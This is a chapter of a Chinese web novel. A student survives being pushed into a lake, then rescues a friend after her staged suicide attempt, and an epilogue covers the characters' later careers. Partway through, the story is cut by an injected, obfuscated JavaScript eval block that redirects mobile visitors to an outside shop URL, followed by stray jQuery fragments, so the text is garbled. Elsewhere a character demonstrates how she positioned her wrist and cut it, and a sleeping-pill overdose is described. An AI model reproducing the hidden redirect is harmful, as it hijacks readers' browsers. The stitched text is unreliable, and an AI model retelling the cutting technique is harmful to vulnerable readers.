60. 新生

作品:《触月

    大四了,时间过得真的很快。


    丁似霰自己沿着湖边散步,看着,这个生活了将近四年的地方。


    其实这就是一个人工湖,味道也不太好闻,总是有股腥臭味,湖边偶尔有几个钓鱼佬在等待着鱼儿上钩,但是倒也算个僻静之地。


    他会留在南菀,暑假去了洋筑建筑公司实习,幸运的话,秋招或许可以直接进这个公司。


    他确实很想回新柳,但是南菀,有余美兰。


    还有很多没有了结的事情。


    今天早八的时候,丁似霰总是感觉背后似乎有人在看着他。但他回过头去,也什么都没发现。


    他甚至还装作上厕所,从后门溜了出去,一路上依旧没看出来有什么不对。


    只有那么一个带着黑色鸭舌帽的女孩,从身形和睡觉的姿势以及手的形状来看……很像云安洛。但她散着头发,整张脸扣在桌子上,两个手腕光溜溜露着,什么也没有戴,属实是也看不出来到底是谁。


    丁似霰看着湖里那两只因为太嫌弃湖水而逃上岸,互相给对方梳毛的黑天鹅,有些自嘲地摇了摇头。


    怎么可能会是洛洛,她休了学回家,如今应该还在新柳。


    丁似霰突然想起了当初乔洛的话,喃喃自语,“不会真发烧把自己烧出幻觉了吧……”


    他身后不远处,跟着两个鬼鬼祟祟的男人。


    他们看准了丁似霰在水边愣神的时机,从后面冲上前。


    把丁似霰掀进了湖中。


    一切发生的这么快,丁似霰慌乱中,只抓下了一个人的手链……又或许是女朋友给的头绳?


    他感冒了,还有点发烧,本来头就晕乎乎的,早八那个课老师不认请假条,他只能出来上课,一个早上过去头更疼了。


    如今出来也是班级非要现在开班会,说是考研就业动员会,还不允许请假。


    丁似霰扑腾了几下就没了力气,这种时候,就算会游泳似乎也没什么用处。


    湖水很快包裹住了他。


    他感觉自己逐渐沉了下去,湖边路灯照出的光亮慢慢消失。


    终于,要结束了吗?


    真的,要结束了吗?


    再次醒过来……


    竟然醒过来了!?


    丁似霰发现自己在医院的病房里而不是在什么死后会去到的天堂或是地狱,倒是有些震惊。


    这都没死,命真硬。


    他只是迷迷糊糊睁开了眼,便又昏昏沉沉睡了去。


    在这期间,可能是医生来看过了吧?反正他再醒过来的时候,是被一个老伯喊醒的。


    “小伙子!你怎么样了啊?有个女孩子要找你啊,很着急的,醒醒?”


    他好像听到很多声呼喊。


    丁似霰睁开眼,迷惑的看向一旁,这手机竟然没在水里泡坏?


    但是在他听到电话那端说什么之后,瞬间清醒。


    杨可期的电话,她找不到云安洛了,而且她总是感觉云安洛不太对劲。


    这个不对劲,大概是想用她自己的命去换些什么。


    丁似霰告诉杨可期,他立刻就去谭棠大学找人,话语间伴随着剧烈的咳嗽声。那湖里的水太脏,他又呛了很多口,肺部感染了。


    丁似霰动作之快,以至于身旁的老伯都没有来得及阻止他拔掉手背上的针。


    “小伙子你这是要干什么?医生说你现在不能剧烈运动的!”


    “谢谢叔……咳咳……但我有急事,需要立刻去谭棠!”


    丁似霰穿着病号服,老伯在后面拿着外套以及丁似霰的钱包追着他,两个人都进到了电梯间。


    “把衣服穿上啦,你有什么要紧事比你身体还重要?”


    丁似霰接过外套和钱包,“谢谢叔。”


    “这么晚了你怎么去谭棠?”


    “我……我先去车站吧,那里有直通谭棠机场的车。”


    “算了,我好人做到底,送你去高铁站吧!”


    丁似霰上了老伯的车,他一直在尝试拨打云安洛的电话,却一直是关机状态。


    他才注意到,这老伯大概是经常在学校钓鱼,他好像见过。


    “叔,是你把我捞上来的吗?谢谢!”


    “你是土木院的学生吧?”


    “啊?是。”


    “小伙子这是去谭大见女朋友?”


    “不……不是,我朋友突然谁也联系不上她了,我……怕她出事。”


    丁似霰下车前,还不忘和老伯留了电话和学号,说老伯垫付的医药费他回来就去还。


    老伯只说了让他找朋友也要注意点自己的身体,就关上车窗扬长而去了。


    还要感谢这趟从南菀车站到谭棠机场新建的城轨,丁似霰赶上了最后一趟。短短四十几分钟,他就到了谭棠大学。


    失踪时间不到二十四小时。


    但丁似霰和杨可期都有同样的预感。


    云安洛怕不是有什么极端的操作。


    丁似霰来过谭棠大学,但确实并不熟悉,这里多数的路他只在地图上见过。


    他脑子一片空白,根本不知道该去哪里找云安洛。


    她,肯定不是随便在哪个角落,如果只是想悄无声息的死了,没必要回谭棠。


    那就只能是想用她的命换一次轰动,换一些阴暗浮现。


    大三那次事情,是商学院副院长做的媒,她会不会是选择了文科综合办公楼?


    丁似霰凭借着记忆里的地图,跑到了那里,却没有看到任何人。


    他大口喘着气,感觉喉间有一股血腥的味道。


    还能是哪里?他跑了一路,喊了一路,如今已经基本发不出声音了。


    难道为了让更多人看到,去了他们的教学楼吗?


    他在经管楼门口找到了她,那里弥漫着浓郁的花香和血的味道。


    云安洛躺在楼门口的桂花树下,左手的手腕处是已经有些干涸的刀口。她被满地细小的落花和大片的血迹包围着,好像在完成什么祭祀。


    她不喜欢桂花味道的。


    丁似霰冲上前,一把揽起了云安洛。


    男孩的声音沙哑,或者说是根本听不到什么声音。


    “洛洛,醒醒!”


    她没有任何反应。


    丁似霰急忙叫了救护车,抱着云安洛向着校门狂奔。


    可能人在极端条件下确实是很有潜力的。


    直到云安洛被推出抢救室,转到病房,丁似霰才松了一口气,然后昏在了她床前。


    疼,很疼。丁似霰感觉他每喘一口气,从肺到嗓子,都像刀割一样,还一直伴着一股若有若无的血腥味。


    头也很疼,是另一种皮肉破烂红肿发热的疼痛感。


    他醒来的时候,正好护士在给他换药。


    “姐……我送来那个女孩……”他哑着嗓子,第一句话就是在问云安洛。


    “还没醒,但是脱离危险了,你先照顾照顾你自己吧!”护士看着他,“晕倒的时候撞到了门框,头上刚缝了两针,而且肺部感染了还敢剧烈运动,你不要命了?”


    “还是要的,”丁似霰笑着,“但她的命也得救一救。”


    “你要是去看那个女孩,也慢点走,不行就找个人用轮椅推你过去,千万别再剧烈运动了。”


    “好,谢谢姐。”


    丁似霰去到云安洛病房的时候,杨可期已经到了,守在云安洛床边。


    她看到站在门口,穿着病号服的丁似霰以及他头顶那块白色的,渗着一点药物颜色的纱布,瞪大了双眼。


    杨可期走到门口:“情侣服??”


    “整个医院一起配对那种?”丁似霰声音还是很嘶哑,他靠着门框,看起来并没什么精神,“她醒了吗?”


    “没醒呢,要去看看吗?”丁似霰的异常很容易发现,杨可期问道,“你嗓子怎么了?”


    “……没什么大事,”丁似霰走进了病房。


    “你……你坐,我去买点东西。”杨可期给他们留出了单独相处的时间,跑出去给云安洛买一些必需品,估摸着,至少要在医院住三五天了。


    丁似霰坐到乔洛床边的凳子上,看了看她的吊瓶,又看了看自己手上的留置针,不由笑了,“这算什么孽缘。”


    “放心,我会帮你把你想做的事做了,凌晨的救护车已经在谭大惹起了不少轰动,你流一地的血啊,没那么容易清理干净。


    你也不想一想,要是真死了,发现你的人把你放手边的东西都藏起来了,不就白死了?


    或许你能听到我说什么吧?反正我感觉我晕过去的时候,好像能偶尔听到旁边的声音。


    我和杨可期能立刻想到……咳咳……你要做什么,是因为我们也找不到你活下去的理由。但那只是从这些遭遇来讲。


    人为什么要活着我也不清楚,但我不想让你死。


    找点自己喜欢做的事情,有个盼头总归日子好过很多。”


    丁似霰站起了身,深吸了一口气:“抱歉,我也没办法一直在你身边,救得了你一次,但要是再有下次谁也不知道还有没有机会,我只能盼着你,别犯傻了。”


    丁似霰看着云安洛,沉思了很久。


    他蹲下身,趴在云安洛枕边,声音竟带了些哭腔:“我好像……能猜到你在想什么,你不过就是,感觉这世上已经没有谁,离开你活不下去,你的命算不上重要……


    但是我想告诉你,我在乎,哪怕不能和你在一起,哪怕用我自己的命换我也会毫不犹豫地去找你……


    以后好好的活着,好不好?


    就当……哪怕有那么一点点是为了我,给我,留个念想,好不好?”


    云安洛其实已经醒了,在丁似霰说人为什么活着他也不知道的时候。但是她没有睁开眼,还装着昏睡。


    她要是醒了,就听不到这些话了。


    耳边,好像有泪水滴落的声音。


    听起来,好大一颗泪,帅哥落泪一定很好看,不能睁眼,真可惜。


    “好啦,我要走了,好好养着吧,实在不开心就离开谭棠,这又不是什么好地方。”


    云安洛还在心中喊着,别走啊,再唠会,这一走又没影了。


    嘶,脖子有点痒,好像是哪几根不听话的头发掉过来了。


    她感觉到,丁似霰轻轻的,把这缕头发帮她放到了耳后。


    指尖若有若无地触感让人有些慌乱。


    然后,云安洛的手腕,被丁似霰小心翼翼拖起,搁着厚厚的纱布,似乎有一个很克制的吻落了下来。


    丁似霰离开了。


    云安洛睁开眼,躺在床上看着天花板。


    她就多吃了几片姥姥剩下的安眠药,到底是谁说的服用过量安眠药会在睡梦中死掉,拜托,真的很难受,死不死不知道但是超级想吐,脑子晕晕乎乎的好像梦魇了一样,再多吃点这也不可能死啊。


    刚洗过的胃有点疼,太灾难了。


    还有那个割腕,不是说好的淌点血之后自己就能干巴上吗?然后淌一地血能吓唬人。


    好死不死的云安洛有些遗传乔连富的破身体,血小板偏低,这两天可能也快经期了,所以……凝固的速度慢出了她的预料。


    现在可倒好,左边手腕包的严严实实,估计还缝了几针吧?没死成是真的,留下的疤也是真丑。


    云安洛两腿在被子下交叠,缓慢地抖着腿。


    丁似霰怎么跑这么快,就不能再唠五块钱的吗?


    好无聊啊,好困。


    云安洛再次醒过来时,睁眼看到的是杨可期。她有些带着笑意开口:“早上好啊,杨小狗。”


    “你……”杨可期万万没想到云安洛张嘴第一句话是叫她小狗,“你知不知道你就差了0.03毫米你就把你左手的肌腱割断了!


    胆子肥了是不是,你还自杀!你自杀就算了你还选这么个时候,你就没想过你要是真死了我得一辈子后悔当初去跟他们进山弄什么义诊!”杨可期放下了手机,直接扑到了云安洛身上抱着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908952|192437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她哭,“我不要什么毕业证了我以后就看着你……”


    云安洛抱着杨可期,像在拍小孩子一样拍着她的背,“好啦,放心,本来我也不是真想死,就是吓唬人没把握好度,这不是没经验嘛。”


    “你还想有经验?”


    “没,我就是说实践出真知,单看网上的说法确实不太靠谱。”


    杨可期起身,幽怨的看着云安洛,“那小子呢,怎么走这么快?”


    “他去帮我干活了。”


    “什么?”


    “不知道,应该是去谭大找事了吧?我准备的证据都被他拿走了,反正我也有备份。他总不至于去帮那些人毁尸灭迹。”


    “那倒是,但你这个办法真的太蠢了。”


    “你想啊,我还能怎么办呢,我现在只能知道祁利和爆炸有关系,孟杰礼只是个小警察,很多事情他查不到的,用我死把这些事情翻出来,不是很划算吗?”


    “我划算你个大头鬼!”杨可期翻了个白眼,“你既然知道,他们很有能耐,就应该明白你一个人死就死了,根本影响不了他们,我敢保证你要是真死了,顶多谭大随便给你安一个休学之后对学校政策不满报复学校的名声,你那些所谓的证据,没有一份会公之于众。”


    “你和丁某人说得好像哦,”云安洛很无奈,“我也是鬼迷心窍了,以后再想怎么办吧!”


    “嗯?你刚才和他说话了?”


    “没,我哪敢醒啊,我醒了他保准又三脚踹不出一个屁来,我装睡呢,听到他说什么了。”


    “你们也是真别扭。”


    “也不完全,我俩确实现在也不适合在一起,都一堆破事缠着,有缘就以后再说吧。”


    云安洛好像又想起了什么事情,“可期我跟你说,他抱着我往救护车上跑的时候我还有点意识,他那个胳膊贼硌得慌,我感觉他身上都已经没有几两肉了。”


    “看着确实不咋健康,他手上也有留置针,不知道什么毛病,不过我看着像肺子的事。”


    “好像他是一直咳嗽来着,他是怎么三年把自己熬成这个惨样子的。”


    “瘦但是有劲,还是可以考虑考虑的。”杨可期对于丁似霰在他自身就不太健康的前提下还能抱着云安洛跑这件事,表示非常认可他的能力。


    “以后再说吧,我算是终于明白了,为什么说生活一地鸡毛的时候是没心思恋爱的。”


    后来,谭棠大学商学院的副院长因为被爆出学术不端,拿掉职称,被开除了。


    至于他和祈利的黑暗买卖,并没有女孩子愿意承认自己那段不堪的过往,又或许主要是因为祁利会把这些“小事”处理干净。


    云安洛也懂,不能用其他人的痛苦换取自己利益的这个道理,这件事也就作罢了。


    祈利,建材公司,那就等她杀进建筑行业,再来算账吧。


    换药的时候,杨可期看着云安洛的刀口不禁感叹:“你是真狠啊,一刀就喇这么深。”


    云安洛伸出右手,内侧向上举着,然后整只手向下一弯,手腕处就绷紧了些,“这样,然后使劲割一下。”


    杨可期十分无语,“你还,很骄傲?”


    “那倒是没有,”云安洛每次这种略有些讨好地笑着时,眼睛都会眯成一条小缝,“相信我们可期一定会给我弄点去疤的药膏然后让它消失不见的。”


    “我给你涂点增生的,看你还敢不敢作死。”


    有人刚刚恶狠狠威胁完人,掉头就回学校找老师去咨询去疤膏了。


    或许是中国人刻在骨子里的观念,都读了这么多年,一张毕业证都没有,太亏了。


    而且有本科学位证才能考研。


    云安洛回了学校,所幸大三下学期只有一门必修,其它都是专业选修,这学期忙点,下学期再补点,也还能把毕业证忽悠到手。


    第二年七月,云安洛拿到了她的本科毕业证。


    丁似霰入职洋筑建筑公司。


    许志去了一家游戏公司。


    杨可期开启了她大五的实习生活,她还要在南菀生活至少四年……如果没有延毕且不读博士的话。


    云安洛回到了奉州,谭棠那个地方她确实是不想继续待了,奉州建筑大学的建筑学仅次于谭棠大学的建筑学,如果能考进去也不错。


    她在奉州建筑大学里租了一个小铺子,开起了火锅店。倒是没想过赚多大钱,只是感觉,广结良缘。


    像杨可期所说,云安洛可能就命里带财。那火锅店从开业开始,客人就源源不断。


    再加上当初用乔连富的钱买的铺子年年都有租金,只要云安洛不做点什么过分的事,小富婆这辈子安稳无忧不成问题。


    在姜亦瑶的引荐之下,云安洛还认识了五个为爱发电的配音爱好者。


    小富婆也很有实力,当年冬天,就考上了奉州建筑大学建筑学的研究生。


    比较灾难的是由于云安洛考不过六级,她的研究生课程还要有英语。


    云安洛认识了个颇为有趣的人,叫叶易,是个博士生,在做助教的时候看起来怨气极重,尤其是早八。


    她终于找到了乐趣,打比赛的乐趣。


    杨可期说她疯掉了,连打游戏都是在我的世界里盖房子。


    研二的时候,新柳县变成了奉州市新柳区,云安洛名下的五间商铺皆在中心区,身价暴涨。


    为此,云安洛把她的游戏地图做了全部免费处理,为期一个月。


    云安洛研二结束,叶易博士毕业,云安洛和叶易一起成立了易安设计所。云安洛下了血本,卖了一间铺子,在新柳区新建起来的滨华大厦买了两间连着的小屋。


    这座刚刚被扩入省会的小区县,正是建设的好时候。


    开业当天,一棵巨大的发财树和一串开过光的十八子一起送到了设计所。


    “这是?”叶易并不知道礼物的来源。


    云安洛笑得十分满足,“网友。”


    一只,披着互联网当羊皮的熟人老狼。